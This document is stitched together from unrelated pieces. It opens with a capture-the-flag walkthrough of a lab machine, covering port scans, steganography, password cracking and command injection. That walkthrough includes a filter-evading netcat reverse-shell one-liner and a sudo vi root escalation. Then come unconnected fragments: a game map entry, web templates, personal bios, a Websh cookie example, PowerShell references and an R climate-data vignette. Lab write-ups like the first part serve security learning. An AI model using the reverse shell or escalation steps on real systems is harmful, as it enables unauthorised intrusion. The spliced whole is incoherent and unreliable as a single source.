113/tcp open ident? syn-ack
|_auth-owners: ERROR: Script execution failed (use -d to debug)
| fingerprint-strings:
| DNSVersionBindReqTCP, FourOhFourRequest, GenericLines, GetRequest, HTTPOptions, Help, JavaRMI, LDAPBindReq, LDAPSearchReq, NCP, NULL, NotesRPC, RTSPRequest, SIPOptions, SSLSessionReq, TerminalServer, WMSRequest, X11Probe:
|_ http://localhost/key_rev_key <- You will find the key here!!!
114/tcp open audionews? syn-ack
|_auth-owners: ERROR: Script execution failed (use -d to debug)
| fingerprint-strings:
| GenericLines, NULL:
| "Welcome to chocolate room!!
| ___.---------------.
| .'__'__'__'__'__,` . ____ ___ \r
| _:\x20 |:. \x20 ___ \r
| \'__'__'__'__'_`.__| `. \x20 ___ \r
| \'__'__'__\x20__'_;-----------------`
| \|______________________;________________|
| small hint from Mr.Wonka : Look somewhere else, its not here! ;)
|_ hope you wont drown Augustus"
115/tcp open sftp? syn-ack
|_auth-owners: ERROR: Script execution failed (use -d to debug)
| fingerprint-strings:
| GenericLines, NULL:
| "Welcome to chocolate room!!
| ___.---------------.
| .'__'__'__'__'__,` . ____ ___ \r
| _:\x20 |:. \x20 ___ \r
| \'__'__'__'__'_`.__| `. \x20 ___ \r
| \'__'__'__\x20__'_;-----------------`
| \|______________________;________________|
| small hint from Mr.Wonka : Look somewhere else, its not here! ;)
|_ hope you wont drown Augustus"
116/tcp open ansanotify? syn-ack
|_auth-owners: ERROR: Script execution failed (use -d to debug)
| fingerprint-strings:
| GenericLines, NULL:
| "Welcome to chocolate room!!
| ___.---------------.
| .'__'__'__'__'__,` . ____ ___ \r
| _:\x20 |:. \x20 ___ \r
| \'__'__'__'__'_`.__| `. \x20 ___ \r
| \'__'__'__\x20__'_;-----------------`
| \|______________________;________________|
| small hint from Mr.Wonka : Look somewhere else, its not here! ;)
|_ hope you wont drown Augustus"
117/tcp open uucp-path? syn-ack
|_auth-owners: ERROR: Script execution failed (use -d to debug)
| fingerprint-strings:
| GenericLines, NULL:
| "Welcome to chocolate room!!
| ___.---------------.
| .'__'__'__'__'__,` . ____ ___ \r
| _:\x20 |:. \x20 ___ \r
| \'__'__'__'__'_`.__| `. \x20 ___ \r
| \'__'__'__\x20__'_;-----------------`
| \|______________________;________________|
| small hint from Mr.Wonka : Look somewhere else, its not here! ;)
|_ hope you wont drown Augustus"
118/tcp open sqlserv? syn-ack
|_auth-owners: ERROR: Script execution failed (use -d to debug)
| fingerprint-strings:
| GenericLines, NULL:
| "Welcome to chocolate room!!
| ___.---------------.
| .'__'__'__'__'__,` . ____ ___ \r
| _:\x20 |:. \x20 ___ \r
| \'__'__'__'__'_`.__| `. \x20 ___ \r
| \'__'__'__\x20__'_;-----------------`
| \|______________________;________________|
| small hint from Mr.Wonka : Look somewhere else, its not here! ;)
|_ hope you wont drown Augustus"
119/tcp open nntp? syn-ack
|_auth-owners: ERROR: Script execution failed (use -d to debug)
| fingerprint-strings:
| GenericLines, NULL:
| "Welcome to chocolate room!!
| ___.---------------.
| .'__'__'__'__'__,` . ____ ___ \r
| _:\x20 |:. \x20 ___ \r
| \'__'__'__'__'_`.__| `. \x20 ___ \r
| \'__'__'__\x20__'_;-----------------`
| \|______________________;________________|
| small hint from Mr.Wonka : Look somewhere else, its not here! ;)
|_ hope you wont drown Augustus"
120/tcp open cfdptkt? syn-ack
|_auth-owners: ERROR: Script execution failed (use -d to debug)
| fingerprint-strings:
| GenericLines, NULL:
| "Welcome to chocolate room!!
| ___.---------------.
| .'__'__'__'__'__,` . ____ ___ \r
| _:\x20 |:. \x20 ___ \r
| \'__'__'__'__'_`.__| `. \x20 ___ \r
| \'__'__'__\x20__'_;-----------------`
| \|______________________;________________|
| small hint from Mr.Wonka : Look somewhere else, its not here! ;)
|_ hope you wont drown Augustus"
121/tcp open erpc? syn-ack
|_auth-owners: ERROR: Script execution failed (use -d to debug)
| fingerprint-strings:
| GenericLines, NULL:
| "Welcome to chocolate room!!
| ___.---------------.
| .'__'__'__'__'__,` . ____ ___ \r
| _:\x20 |:. \x20 ___ \r
| \'__'__'__'__'_`.__| `. \x20 ___ \r
| \'__'__'__\x20__'_;-----------------`
| \|______________________;________________|
| small hint from Mr.Wonka : Look somewhere else, its not here! ;)
|_ hope you wont drown Augustus"
122/tcp open smakynet? syn-ack
|_auth-owners: ERROR: Script execution failed (use -d to debug)
| fingerprint-strings:
| GenericLines, NULL:
| "Welcome to chocolate room!!
| ___.---------------.
| .'__'__'__'__'__,` . ____ ___ \r
| _:\x20 |:. \x20 ___ \r
| \'__'__'__'__'_`.__| `. \x20 ___ \r
| \'__'__'__\x20__'_;-----------------`
| \|______________________;________________|
| small hint from Mr.Wonka : Look somewhere else, its not here! ;)
|_ hope you wont drown Augustus"
123/tcp open ntp? syn-ack
|_auth-owners: ERROR: Script execution failed (use -d to debug)
| fingerprint-strings:
| GenericLines, NULL:
| "Welcome to chocolate room!!
| ___.---------------.
| .'__'__'__'__'__,` . ____ ___ \r
| _:\x20 |:. \x20 ___ \r
| \'__'__'__'__'_`.__| `. \x20 ___ \r
| \'__'__'__\x20__'_;-----------------`
| \|______________________;________________|
| small hint from Mr.Wonka : Look somewhere else, its not here! ;)
|_ hope you wont drown Augustus"
124/tcp open ansatrader? syn-ack
|_auth-owners: ERROR: Script execution failed (use -d to debug)
| fingerprint-strings:
| GenericLines, NULL:
| "Welcome to chocolate room!!
| ___.---------------.
| .'__'__'__'__'__,` . ____ ___ \r
| _:\x20 |:. \x20 ___ \r
| \'__'__'__'__'_`.__| `. \x20 ___ \r
| \'__'__'__\x20__'_;-----------------`
| \|______________________;________________|
| small hint from Mr.Wonka : Look somewhere else, its not here! ;)
|_ hope you wont drown Augustus"
125/tcp open locus-map? syn-ack
|_auth-owners: ERROR: Script execution failed (use -d to debug)
| fingerprint-strings:
| GenericLines, NULL:
| "Welcome to chocolate room!!
| ___.---------------.
| .'__'__'__'__'__,` . ____ ___ \r
| _:\x20 |:. \x20 ___ \r
| \'__'__'__'__'_`.__| `. \x20 ___ \r
| \'__'__'__\x20__'_;-----------------`
| \|______________________;________________|
| small hint from Mr.Wonka : Look somewhere else, its not here! ;)
|_ hope you wont drown Augustus"
1887/tcp filtered filex-lport no-response
1941/tcp filtered dic-aida no-response
2352/tcp filtered pslserver no-response
3694/tcp filtered unknown no-response
10264/tcp filtered unknown no-response
10527/tcp filtered unknown no-response
10668/tcp filtered unknown no-response
11480/tcp filtered unknown no-response
12394/tcp filtered unknown no-response
12672/tcp filtered unknown no-response
12849/tcp filtered unknown no-response
14691/tcp filtered unknown no-response
18118/tcp filtered unknown no-response
19412/tcp filtered hp-sessmon no-response
20440/tcp filtered unknown no-response
24212/tcp filtered unknown no-response
27361/tcp filtered unknown no-response
28410/tcp filtered unknown no-response
28878/tcp filtered unknown no-response
29509/tcp filtered unknown no-response
31241/tcp filtered unknown no-response
31803/tcp filtered unknown no-response
32820/tcp filtered unknown no-response
33168/tcp filtered unknown no-response
33522/tcp filtered unknown no-response
34783/tcp filtered unknown no-response
36217/tcp filtered unknown no-response
38149/tcp filtered unknown no-response
38717/tcp filtered unknown no-response
38881/tcp filtered unknown no-response
39365/tcp filtered unknown no-response
39840/tcp filtered unknown no-response
42126/tcp filtered unknown no-response
42522/tcp filtered unknown no-response
42642/tcp filtered unknown no-response
46053/tcp filtered unknown no-response
46378/tcp filtered unknown no-response
47612/tcp filtered unknown no-response
49720/tcp filtered unknown no-response
50167/tcp filtered unknown no-response
51017/tcp filtered unknown no-response
51129/tcp filtered unknown no-response
53811/tcp filtered unknown no-response
54919/tcp filtered unknown no-response
56899/tcp filtered unknown no-response
56992/tcp filtered unknown no-response
57210/tcp filtered unknown no-response
58328/tcp filtered unknown no-response
59224/tcp filtered unknown no-response
60536/tcp filtered unknown no-response
61900/tcp filtered unknown no-response
62583/tcp filtered unknown no-response
63054/tcp filtered unknown no-response
63220/tcp filtered unknown no-response
65005/tcp filtered unknown no-response
65050/tcp filtered unknown no-response
65209/tcp filtered unknown no-response
65485/tcp filtered unknown no-response
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Tue Jan 19 11:30:48 2021 -- 1 IP address (1 host up) scanned in 1456.19 seconds
There was many ports open , don’t panic let’s start with the usual ones.
So the usual ports are :
- 21
- 22
- 80
So let’s fireup gobuster.
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url: http://<IP_ADDRESS>/
[+] Threads: 50
[+] Wordlist: /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent: gobuster/3.0.1
[+] Extensions: txt,html,php
[+] Timeout: 10s
===============================================================
2021/01/19 11:07:10 Starting gobuster
===============================================================
/index.html (Status: 200)
/home.php (Status: 200)
/validate.php (Status: 200)
/server-status (Status: 403)
===============================================================
2021/01/19 11:51:52 Finished
===============================================================
So let’s go for FTP and try anonymous login.
Hence we got a img file we can use steghide .
steghide –info gum_room.jpg
With no password we can extract b64.txt.
Hence
steghide –extract -sf gum_room.jpg
So if we open it is base64 encoded as expected . Let’s go to CyberChef.
Hence I used john to crack it took around 10 minutes(approx).
Since we have the password for user charlie , I initially thought it must be ftp password (yes I know it is not ssh because wont it be obvious?). But no It was not ftp password.
Hence I visited port 80
So I used the password we found and it worked.
After we login we can see .
So we can execute commands !.
Hence I tried “ls” and I saw something interesting.
Hence this is the key asked in the first question .
We download it by going to
http://<machineip>/key_rev_key
Let’s keep the key it might be useful in later stage.
Second Stage : Initial Access as www-data
Hence we have command injection let’s try reverse shell.
But definitely there would be filters hence I used this technique:
r"m" /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <vpn ip> 4444 >/tmp/f
Third Stage : www-data to charlie
Hence I enumerated manually without using linpeas.
I went to charlie’s home directory . I found something interesting.
Hence they are private and public keys of charlie(i guess so ).
Hence I copied and used it .
chmod 600 teleport
ssh -i teleport charlie@<machine-ip>
Fourth Stage : charlie to root
As always I try
sudo -l
Hence I went to GTFOBins and searched for vi.
So steps to exploit is :
sudo /usr/bin/vi
:set shell=/bin/sh
:shell
So we go to /root directory .
So the flag is in the form of python file.
Let’s see whats in it.
from cryptography.fernet import Fernet
import pyfiglet
key=input("Enter the key: ")
f=Fernet(key)
encrypted_mess= '<redacted-msg>'
dcrypt_mess=f.decrypt(encrypted_mess)
mess=dcrypt_mess.decode()
display1=pyfiglet.figlet_format("You Are Now The Owner Of ")
display2=pyfiglet.figlet_format("Chocolate Factory ")
print(display1)
print(display2)
print(mess)
Hence the flag can be obtained if we provide the key we got during enumeration.
Let’s run it.
note : enter the key between “<key> "


Ocean [ai55], ocean, in The Inner Sea
Last updated Turn #101
Ocean [ai55], ocean, in The Inner Sea
------------------------------------------------------------------------
12: The Savvy Aardvark [ha5r], ship, 2 hulls, 1 rowing port, 6 sails,
12: 30% damaged, arrived from Ocean [ai54], owner:
12: Phantasm [n4b], Imperial Empire, duke, with eight sailors
13: The Savvy Aardvark [ha5r], ship, 2 hulls, 1 rowing port, 6 sails,
13: 30% damaged, departed for Ocean [ai56].
Routes leaving Ocean:
North, to Ocean [ah55], Crystal Sea, 6 days
East, to Ocean [ai56], 6 days
South, to Ocean [aj55], 6 days
West, to Ocean [ai54], 6 days


RT PCR TEST.
Add New Data
Add File
Show Appointment
Log out
Welcome
, You have successfully logged in!


{{ page.title }}
- Date
- Middle Kingdom, Dynasty 12, Reign of Amenemhat II (c. 1918-1884 BCE).
- Location
- {{page.detailedLocation}}.
- Medium
- {{page.medium}}.
- Technique
- {{page.technique}}.
- Parent Context
- {{page.parentContext}}
- Data Credits
- Compiled by {{page.authors}}{% if page.authors %} and{% endif %} the Beni Hassan Research Group with resources from the Macquarie University Ancient Cultures Research Centre, and the Australian Centre for Egyptology.
- Project Funding
- Supported by the Australian Research Council Discovery Project scheme: DP160102223 "Measuring meaning in Egyptian art: A new approach to an intractable problem" held by N. Kanawati (MQ), L. Evans (MQ), A. Woods (MQ) and J. Kamrin (Met), the Macquarie University Department of Ancient History, and the Macquarie University Faculty of Arts.
- Original Citation
- {{page.mainCitation}} {{page.plateCite}}{{page.lineCite}}
- Rights
- Recorded and published with permission from the Egyptian Ministry of Antiquities. Photographs by Effy Alexakis as part of research on site. Copyright Macquarie University 2018. All rights reserved.
- Cite this
- {{page.authors}} "{{page.title}}." In The Beni Hassan Visual Dictionary: Khnumhotep II, edited by Alexandra Woods, Brian Ballsun-Stanton, and Nicolle Leary. Sydney: Macquarie University, 2018. https://benihassan.com/{{page.url}}
{% include footer.html %}


Profile
{{ user.username }}
Score: {{ user.score || 0 }}
Completed trails: {{ user.total_completed || 0 }}
{{ user.trail.name }}
CONTINUE LATEST TRAIL
{{ trail.name }}
VIEW MORE TRAILS YOU'VE MADE
{{ trail.name }}
VIEW MORE OF YOUR PAST TRAILS


Below are some of the projects that i have done so far:
GALAXY GYM
The galaxy gym webpage was my first project.The intention of the webpage was to offer galaxy gym members an opportunity to interact with theur trainers from home.
For this project,i coded it using html and styled it using css.To view the galaxy gym page,click on the link below:
SKIKA
SKIKA was a community outreach website was my second project.This was a group project.
SKIKA was meant to be a page that offers councelling to people in the community who could not afford professional councelling hence SKIKA was formed to bridge that gap.
For this project,html was used for coding and css was used to style the web page.
To visit SKIKA click on the link below


Born in Tyrol, I started hiking very early. Over the years,
I eventually started climbing and doing via-ferratas, before reaching
the top of Austria, the Großglockner (3798m), with a Mountain Guide
in August 2016.
In the summer of 2017 I took part in (high alpine) mountaineering
courses.
Then in September 2017 I reached the Wildspitze (3770m)
together with colleagues.
My highest goal is to become a Mountain Guide.


cookie.ws3
# cookie example - store context in a cookie
#
# this example demonstrates how to use cookies with websh3
#
# create session context manager with the name "state"
web::cookiecontext state
# produce the page of this sample application
proc page {} {
# get current access counter from state ...
set cnt [state::cget cnt 0]
# ... and increment right away
#
# Note: cookie must be sent before the first "web::put" is used
# This is because a cookie must be sent as a HTTP header
set newcnt $cnt
incr newcnt
state::cset cnt $newcnt
# commit the changes on the state
state::commit
# now the html output
web::put "<title>Cookie Example</title>"
web::put ""
# change welcome text depending on state
if { $cnt == 0 } {
# the first time a warm welcome
web::put "
Welcome
"
web::put "to the wonderful world of Websh"
} else {
# then just a hello
web::put "
Hello
"
web::put "looks like this is your visit Nr $cnt"
}
web::put "
"
# and give the user the change to:
# - invalidate the cookie
web::put "reset"
web::put " | "
# - to move on to the next page of the application
# in this example, just go back to the same page
web::put "next visit"
# properly close html code
web::put ""
}
web::command clearCookie {
# get current cookie, if any
state::init mycookie
# ... and invalidate immediately
state::invalidate
# show page
page
}
web::command default {
# get current cookie, if any
state::init mycookie
# show page
page
}
# dispatch
web::dispatch
# cleanup context after request (to prevent session crosstalk)
state::delete
Generated by GNU enscript 1.6.3.


Password Generator
It's alive!
Generate a password...if you dare!!!?!
Sp0oky!23
Conduct Cryptomantic Conjuration
Anodyne Version


{%extends "IndAbout.html" %} {%block name%} Michael Lama {%endblock%} {%block image%} {%endblock%} {%block title%}
I am a Computer Scientist Senior at San Franciso State University.
I enjoy coding challenging programs especially ones envolving new technologies. Java, C++, and C are my strongest languages
{%endblock%} {% block contact %}Email<EMAIL_ADDRESS>GitHub: mdl99123
{%endblock%}


1 write to Destination
Microsoft.PowerShell.Commands.Management (1)
commands\management\TestConnectionCommand.cs (1)
920
Destination
= destination;
2 references to Destination
Microsoft.PowerShell.Commands.Management (2)
commands\management\TestConnectionCommand.cs (2)
930
/// Gets the sequence number of this ping in the sequence of pings to the <see cref="
Destination
"/>
1032
Hostname = _status.
Destination
;


To begin using snapclim
effectively, take a look at the climate data collections available in your current version of the package.
library(snapclim)
climate_collections()
#> # A tibble: 1 x 11
#> id descrip~ regio~ poin~ start end daily mont~ seas~ annu~ deca~
#> <chr> <chr> <lgl> <lgl> <dbl> <dbl> <lgl> <lgl> <lgl> <lgl> <lgl>
#> 1 ar5stats AR5/CMI~ T T 1901 2100 F T T T T
This prints a table of available data sets, one per row. The columns provide useful metadata regarding each data set.
For most data sets, a request returns data for a specific location. Given that there are 86 defined climate regions and 3,867 point locations across Alaska and western Canada in the ar5stats
collection, it is helpful to consult a table of available locations.
climate_locations()
#> # A tibble: 3,953 x 2
#> Location Group
#> <chr> <chr>
#> 1 AK-CAN AK-CAN
#> 2 Arctic LCC AK LCC regions
#> 3 North Pacific LCC AK LCC regions
#> 4 Northwestern Interior Forest South LCC AK LCC regions
#> 5 Northwestern Interior Forest North LCC AK LCC regions
#> 6 Western Alaska LCC AK LCC regions
#> 7 Boreal Alaska L1 Ecoregions
#> 8 Maritime Alaska L1 Ecoregions
#> 9 Polar Alaska L1 Ecoregions
#> 10 Alaska Range Transition Alaska L2 Ecoregions
#> # ... with 3,943 more rows
The table is truncated here, but contains nearly 4,000 options under the Location
column. There is a corresponding column providing the set that each location is grouped under. Every location belongs to a group. The table above contains all regions and point locations. climate_locations
can be used to list a subset of only one or the other.
climate_locations(type = "region")
#> # A tibble: 86 x 2
#> Location Group
#> <chr> <chr>
#> 1 AK-CAN AK-CAN
#> 2 Arctic LCC AK LCC regions
#> 3 North Pacific LCC AK LCC regions
#> 4 Northwestern Interior Forest South LCC AK LCC regions
#> 5 Northwestern Interior Forest North LCC AK LCC regions
#> 6 Western Alaska LCC AK LCC regions
#> 7 Boreal Alaska L1 Ecoregions
#> 8 Maritime Alaska L1 Ecoregions
#> 9 Polar Alaska L1 Ecoregions
#> 10 Alaska Range Transition Alaska L2 Ecoregions
#> # ... with 76 more rows
climate_locations(type = "point")
#> # A tibble: 3,867 x 2
#> Location Group
#> <chr> <chr>
#> 1 Adak Station Alaska
#> 2 Afognak Alaska
#> 3 Akhiok Alaska
#> 4 Akiachak Alaska
#> 5 Akiak Alaska
#> 6 Akutan Alaska
#> 7 Alakanuk Alaska
#> 8 Alatna Alaska
#> 9 Aleknagik Alaska
#> 10 Aleut Village Alaska
#> # ... with 3,857 more rows
Some locations share the same name. For example, there is Galena, Alaska and Galena, British Columbia.
library(dplyr)
climate_locations() %>% filter(Location == "Galena")
#> # A tibble: 2 x 2
#> Location Group
#> <chr> <chr>
#> 1 Galena Alaska
#> 2 Galena British Columbia
It is good practice to avoid ambiguity when requesting data, though it is permitted since familiarity with the available locations you are interested in can make your data requests simpler.
snapclim
provides access to a large amount of SNAP climate data, far more than would be stored locally within an R package. The data collections are stored on Amazon Web Services (AWS). snapclim
interfaces with AWS to bring the specific data you need into your R session, as if it were a native package data set.
SNAP climate data sets are accessed with climdata
. If at any time you get stuck with using climdata
, see the function documentation. It provides detailed descriptions and usage for the available function arguments. The first argument, id
, specifies a unique data collection. See the id
column in climate_collections
above. Next, a location is specified. A simple call to climdata
for SNAP 2-km downscaled AR5/CMIP5 climate data summary statistics for Anchorage, Alaska looks like the following.
climdata("ar5stats", "Anchorage")
#> # A tibble: 101,400 x 8
#> RCP Model Var Group Location Year Month Mean
#> <fctr> <fctr> <fctr> <chr> <chr> <int> <fctr> <dbl>
#> 1 Historical CRU 4.0 pr Alaska Anchorage 1901 Jan 7.00
#> 2 Historical CRU 4.0 pr Alaska Anchorage 1901 Feb 1.00
#> 3 Historical CRU 4.0 pr Alaska Anchorage 1901 Mar 14.0
#> 4 Historical CRU 4.0 pr Alaska Anchorage 1901 Apr 16.0
#> 5 Historical CRU 4.0 pr Alaska Anchorage 1901 May 13.0
#> 6 Historical CRU 4.0 pr Alaska Anchorage 1901 Jun 24.0
#> 7 Historical CRU 4.0 pr Alaska Anchorage 1901 Jul 40.0
#> 8 Historical CRU 4.0 pr Alaska Anchorage 1901 Aug 70.0
#> 9 Historical CRU 4.0 pr Alaska Anchorage 1901 Sep 58.0
#> 10 Historical CRU 4.0 pr Alaska Anchorage 1901 Oct 69.0
#> # ... with 101,390 more rows
In subsequent examples, arguments are named for additional clarity.
The data includes SNAP’s downscaled historical, observation-based Climatological Research Unit (CRU) 4.0 data and both downscaled historical and projected climate model outputs for all five of the General Circulation Models (GCMs) utilized by SNAP. All three CMIP5 emissions scenarios, or Representative Concentration Pathways (RCPs) are included. The data cover the entire available time period at a monthly time step.
By default, all available climate variables are returned: precipitation and mean, minimum and maximum temperature. These refer to monthly precipitation totals and monthly means of mean, minimum and maximum daily temperatures. This can be reduced to a specific variable in the initial call to climdata
with variable = "pr"
for example, or the table can be filtered subsequently.
What if the location is not unique, like Galena? climdata
will throw a warning and let you know it is assuming the first group found in the list of available locations.
climdata(id = "ar5stats", area = "Galena")
#> Warning in .check_area(area, set): `area` not unique and `set` not
#> provided. Assuming 'Alaska'. Please provide `set`.
#> # A tibble: 101,400 x 8
#> RCP Model Var Group Location Year Month Mean
#> <fctr> <fctr> <fctr> <chr> <chr> <int> <fctr> <dbl>
#> 1 Historical CRU 4.0 pr Alaska Galena 1901 Jan 18.0
#> 2 Historical CRU 4.0 pr Alaska Galena 1901 Feb 18.0
#> 3 Historical CRU 4.0 pr Alaska Galena 1901 Mar 18.0
#> 4 Historical CRU 4.0 pr Alaska Galena 1901 Apr 16.0
#> 5 Historical CRU 4.0 pr Alaska Galena 1901 May 15.0
#> 6 Historical CRU 4.0 pr Alaska Galena 1901 Jun 33.0
#> 7 Historical CRU 4.0 pr Alaska Galena 1901 Jul 48.0
#> 8 Historical CRU 4.0 pr Alaska Galena 1901 Aug 61.0
#> 9 Historical CRU 4.0 pr Alaska Galena 1901 Sep 42.0
#> 10 Historical CRU 4.0 pr Alaska Galena 1901 Oct 30.0
#> # ... with 101,390 more rows
The following example avoids the ambiguity, hence no warning.
climdata(id = "ar5stats", area = "Galena", set = "British Columbia")
#> # A tibble: 101,400 x 8
#> RCP Model Var Group Location Year Month Mean
#> <fctr> <fctr> <fctr> <chr> <chr> <int> <fctr> <dbl>
#> 1 Historical CRU 4.0 pr British Columbia Galena 1901 Jan 87.0
#> 2 Historical CRU 4.0 pr British Columbia Galena 1901 Feb 62.0
#> 3 Historical CRU 4.0 pr British Columbia Galena 1901 Mar 26.0
#> 4 Historical CRU 4.0 pr British Columbia Galena 1901 Apr 34.0
#> 5 Historical CRU 4.0 pr British Columbia Galena 1901 May 27.0
#> 6 Historical CRU 4.0 pr British Columbia Galena 1901 Jun 87.0
#> 7 Historical CRU 4.0 pr British Columbia Galena 1901 Jul 36.0
#> 8 Historical CRU 4.0 pr British Columbia Galena 1901 Aug 6.00
#> 9 Historical CRU 4.0 pr British Columbia Galena 1901 Sep 69.0
#> 10 Historical CRU 4.0 pr British Columbia Galena 1901 Oct 21.0
#> # ... with 101,390 more rows
The climate variable values given in the tables obtained so far have all pertained to specific points in space. For regional climate data, a broad set of statistics is available that summarizes the distribution of climate values over a spatial domain defined by a polygon. For example, the table for the Arctic Tundra contains the mean, standard deviation, minimum, maximum and a set of distribution quantiles. Since the columns are truncated when printed in the display below, the first seven columns of ID variables are dropped in this example using select
in order to show more of the additional statistics.
x <- climdata(id = "ar5stats", area = "Arctic Tundra")
select(x, -c(1:7))
#> # A tibble: 101,400 x 13
#> Mean SD Min Max Pct_025 Pct_05 Pct_10 Pct_25 Pct_~ Pct_~ Pct_~
#> <dbl> <dbl> <dbl> <dbl> <dbl> <dbl> <dbl> <dbl> <dbl> <dbl> <dbl>
#> 1 19.3 6.70 5.80 56.2 9.10 10.0 11.1 14.8 18.3 23.0 28.8
#> 2 15.4 5.60 4.10 46.1 6.90 8.10 9.00 11.1 14.0 18.9 23.7
#> 3 14.2 5.60 2.90 38.1 6.90 8.10 9.00 9.90 13.0 17.1 22.1
#> 4 15.5 6.50 4.00 49.7 7.90 8.10 9.00 10.8 13.9 19.1 24.8
#> 5 15.1 7.80 0.700 53.1 7.00 7.80 8.00 8.90 12.2 19.9 26.2
#> 6 29.9 16.6 10.5 126 12.6 13.5 14.2 17.3 23.9 39.8 55.1
#> 7 49.7 22.0 12.5 144 17.9 21.3 25.1 31.3 46.0 64.5 79.9
#> 8 63.7 25.6 22.4 167 28.8 30.6 32.8 41.5 61.5 80.1 97.0
#> 9 43.4 24.3 14.6 144 17.9 19.0 20.5 23.1 36.2 57.0 78.3
#> 10 33.3 11.2 17.8 80.4 20.1 20.9 21.8 23.9 30.7 39.8 50.0
#> # ... with 101,390 more rows, and 2 more variables: Pct_95 <dbl>, Pct_975
#> # <dbl>
Note that these statistics summarize values across space. They do not also summarize values over months or years, or across climate models and scenarios. Distributional information is available for each point in time and under each combination of other available factors.
More highly aggregated data sets are available as well. The previous data sets were returned using the default argument time_scale = "monthly"
. If you simply change this to seasonal
or annual
, climdata
will return the respective data set. The first few columns have been dropped:
x <- climdata(id = "ar5stats", area = "Arctic Tundra", time_scale = "seasonal")
select(x, -c(1:3))
#> # A tibble: 33,800 x 17
#> Group Region Year Seas~ Mean SD Min Max Pct_~ Pct_~ Pct_~
#> <chr> <chr> <int> <fct> <dbl> <dbl> <dbl> <dbl> <dbl> <dbl> <dbl>
#> 1 Alaska ~ Arctic~ 1901 Wint~ 18.9 7.80 1.50 65.3 8.10 9.10 10.1
#> 2 Alaska ~ Arctic~ 1901 Spri~ 15.0 6.70 0.700 51.2 7.30 7.90 8.20
#> 3 Alaska ~ Arctic~ 1901 Summ~ 47.4 25.5 10.1 157 13.6 14.8 18.2
#> 4 Alaska ~ Arctic~ 1901 Autu~ 33.4 18.3 6.30 144 12.2 13.9 17.6
#> 5 Alaska ~ Arctic~ 1902 Wint~ 19.1 8.10 1.60 66.9 8.00 9.00 10.0
#> 6 Alaska ~ Arctic~ 1902 Spri~ 15.0 6.70 0.500 53.0 7.50 7.90 8.30
#> 7 Alaska ~ Arctic~ 1902 Summ~ 47.3 25.4 10.5 168 13.7 14.7 18.0
#> 8 Alaska ~ Arctic~ 1902 Autu~ 32.9 17.9 6.70 143 12.0 13.8 17.6
#> 9 Alaska ~ Arctic~ 1903 Wint~ 19.1 8.40 1.60 61.2 7.90 8.90 10.0
#> 10 Alaska ~ Arctic~ 1903 Spri~ 14.6 9.90 0.800 74.7 4.50 5.70 7.00
#> # ... with 33,790 more rows, and 6 more variables: Pct_25 <dbl>, Pct_50
#> # <dbl>, Pct_75 <dbl>, Pct_90 <dbl>, Pct_95 <dbl>, Pct_975 <dbl>
It is important to note that seasonal and annual aggregate statistics are not simple means of monthly statistics. Each of these collections is independently derived from climate variable spatial probability distributions at their respective temporal resolutions.
This means that, for example, monthly temperature quantiles for the Arctic Tundra are calculated from monthly spatial temperature distributions and winter temperature quantiles are calculated from the applicable 3-month period spatial temperature distributions. While the mean is invariant to this difference, other statistics are not. The 95th percentile winter temperature across space during the three month period does not result from taking the average of three monthly 95th percentile values.
A final note on season and annual statistics is that, like monthly statistics, these remain period totals for precipitation and period averages for temperature variables.
In contrast to monthly, seasonal and annual resolution statistics, all three of which are computed across space at their respective temporal resolutions, decadal statistics are in fact simple decadal averages of monthly, seasonal and annual data. For example, the decadal mean of the 95th percentile monthly temperature across a region is just that; the mean of the ten annual 95th percentile monthly values in a decade.
For this reason, decadal data is not requested with climdata
by specifying it with time_scale
, which always pertains to annual and intra-annual (monthly or seasonal) time steps. Instead, use decavg = TRUE
. This is FALSE
by default so it did not previously need to be specified. When requesting decadal averages, there is still the choice of whether those averages should be of monthly, seasonal or annual resolution statistics.
x <- climdata(id = "ar5stats", area = "Arctic Tundra", time_scale = "seasonal",
decavg = TRUE)
select(x, -c(1:3))
#> # A tibble: 3,776 x 17
#> Group Regi~ Deca~ Seas~ Mean SD Min Max Pct_~ Pct_~ Pct_~ Pct_~
#> <chr> <chr> <int> <fct> <dbl> <dbl> <dbl> <dbl> <dbl> <dbl> <dbl> <dbl>
#> 1 Alas~ Arct~ 1900 Wint~ 18.1 8.80 1.60 71.1 6.60 7.60 8.80 11.9
#> 2 Alas~ Arct~ 1900 Spri~ 14.2 8.70 0.500 70.6 3.70 4.70 6.50 9.00
#> 3 Alas~ Arct~ 1900 Summ~ 46.3 27.6 7.80 188 12.4 13.9 16.6 25.0
#> 4 Alas~ Arct~ 1900 Autu~ 30.3 18.2 4.10 144 8.60 10.1 13.3 19.2
#> 5 Alas~ Arct~ 1910 Wint~ 20.1 13.8 1.00 107 5.20 6.50 8.50 11.6
#> 6 Alas~ Arct~ 1910 Spri~ 16.5 12.3 0.600 98.4 4.10 5.00 6.70 8.90
#> 7 Alas~ Arct~ 1910 Summ~ 47.0 29.0 6.90 198 11.8 13.2 16.3 25.2
#> 8 Alas~ Arct~ 1910 Autu~ 32.5 20.9 3.60 162 8.70 11.0 14.3 19.9
#> 9 Alas~ Arct~ 1920 Wint~ 22.7 15.1 0.900 102 5.10 6.20 7.60 11.3
#> 10 Alas~ Arct~ 1920 Spri~ 16.1 12.2 0.400 84.7 2.30 2.90 4.00 7.40
#> # ... with 3,766 more rows, and 5 more variables: Pct_50 <dbl>, Pct_75
#> # <dbl>, Pct_90 <dbl>, Pct_95 <dbl>, Pct_975 <dbl>
It is possible to obtain climate data sets that include multiple locations using climdata
, but this is only available for smaller data sets where it would not lead to a cumbersome data download. Currently, the only data set for which multiple locations can be returned at once is the decadal averages data set in the ar5stats
collection. By specifying area = "points"
rather than a specific point location, a table is returned containing data for all 3,867 point locations.
There are two requirements that help to ensure this does not lead to an excessive download size or waiting time. As mentioned, this is only available for the highly aggregated decadal data. Without setting decavg = TRUE
, attempting to specify area = "points"
will throw an error. The second requirement is that only a single climate variable will be returned. You can always call climdata
multiple times for additional variables if desired. Therefore, you should also specify the variable
argument. If you do not, mean temperature (tas
) is assumed.
x <- climdata(id = "ar5stats", area = "points", time_scale = "annual", decavg = TRUE,
variable = "tas")
To show the result more effectively, filter the table to a specific combination of other factors.
